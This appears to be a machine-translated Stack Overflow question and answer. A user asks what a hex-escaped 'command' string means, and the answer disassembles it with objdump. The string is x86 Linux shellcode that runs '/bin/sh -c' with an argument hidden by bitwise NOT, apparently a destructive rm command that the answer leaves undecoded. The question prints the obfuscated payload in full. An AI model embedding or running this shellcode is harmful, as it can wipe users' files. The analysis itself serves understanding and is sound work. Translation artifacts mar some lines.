什么是命令的十六进制版本,它在现实中意味着什么,这是如何完成的

时间:2013-08-23 18:26:14

标签: linux binary linux-kernel hex

我注意到一个十六进制字符形式的命令,它说这是一个命令的十六进制版本(Linux),这实际上是十六进制版本的意思,我怎样才能将它转换为人类可读的形式。 截至目前我知道:

  • \:作为逃脱序列
  • x:代表HEX

命令列在下面......

  

“\ XEB \ x3e \ x5b \ X31 \ XC0 \ X50 \ X54 \ X5A \ X83 \ XEC \ 64 \ X68”   “\ XFF \ XFF \ XFF \ XFF \ X68 \ XDF \ XD0 \ XDF \ xd9 \ X68 \ x8d \ X99”   “\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ X54 \ x5e \ XF7 \ X16 \ XF7”   “\ X56 \ X04 \ XF7 \ X56 \ X08 \ XF7 \ X56 \ X0C \ X83 \ XC4 \ X74 \ X56”   “\ x8d \ X73 \ X08 \ X56 \ X53 \ X54 \ X59 \ XB0 \ X0B \ XCD \ X80 \ X31”   “\ XC0 \ X40 \ XEB \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ X2F \ X62 \ X69”   “\ x6e \ X2F \ X73 \ X68 \ X00 \ X2D \ X63 \ X00”

但是如何将其转换为英文原版命令,如“XXXXXXXX”。

1 个答案:

答案 0 :(得分:3)

我使用了这个二进制文件并通过hexdump -vCobjdump运行了

$ objdump -b binary -m i386 -D output 

output:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   eb 3e                   jmp    0x40
   2:   5b                      pop    %ebx
   3:   31 c0                   xor    %eax,%eax
   5:   50                      push   %eax
   6:   54                      push   %esp
   7:   5a                      pop    %edx
   8:   83 ec 64                sub    $0x64,%esp
   b:   68 ff ff ff ff          push   $0xffffffff
  10:   68 df d0 df d9          push   $0xd9dfd0df
  15:   68 8d 99 df 81          push   $0x81df998d
  1a:   68 8d 92 df d2          push   $0xd2df928d
  1f:   54                      push   %esp
  20:   5e                      pop    %esi
  21:   f7 16                   notl   (%esi)
  23:   f7 56 04                notl   0x4(%esi)
  26:   f7 56 08                notl   0x8(%esi)
  29:   f7 56 0c                notl   0xc(%esi)
  2c:   83 c4 74                add    $0x74,%esp
  2f:   56                      push   %esi
  30:   8d 73 08                lea    0x8(%ebx),%esi
  33:   56                      push   %esi
  34:   53                      push   %ebx
  35:   54                      push   %esp
  36:   59                      pop    %ecx
  37:   b0 0b                   mov    $0xb,%al
  39:   cd 80                   int    $0x80
  3b:   31 c0                   xor    %eax,%eax
  3d:   40                      inc    %eax
  3e:   eb f9                   jmp    0x39
  40:   e8 bd ff ff ff          call   0x2
  45:   2f                      das    
  46:   62 69 6e                bound  %ebp,0x6e(%ecx)
  49:   2f                      das    
  4a:   73 68                   jae    0xb4
  4c:   00                      .byte 0x0
  4d:   2d                      .byte 0x2d
  4e:   63 00                   arpl   %ax,(%eax)
    ...
$ hexdump -vC output 
00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|
00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|
00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|
00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|
00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|
00000050  00                                                |.|
00000051

它确实看起来像某种程序。首先,它跳转到偏移0x40然后使用call 0x2来设置堆栈;然后是一堆操作,包括系统调用。程序数据似乎从偏移0x45开始,包含字符串"/bin/sh -c"

有问题的系统调用是#11(mov $0xb,%al),根据this tablesys_execve为{{1}}。我猜它正试图运行一个shell。此代码是否旨在利用缓冲区溢出?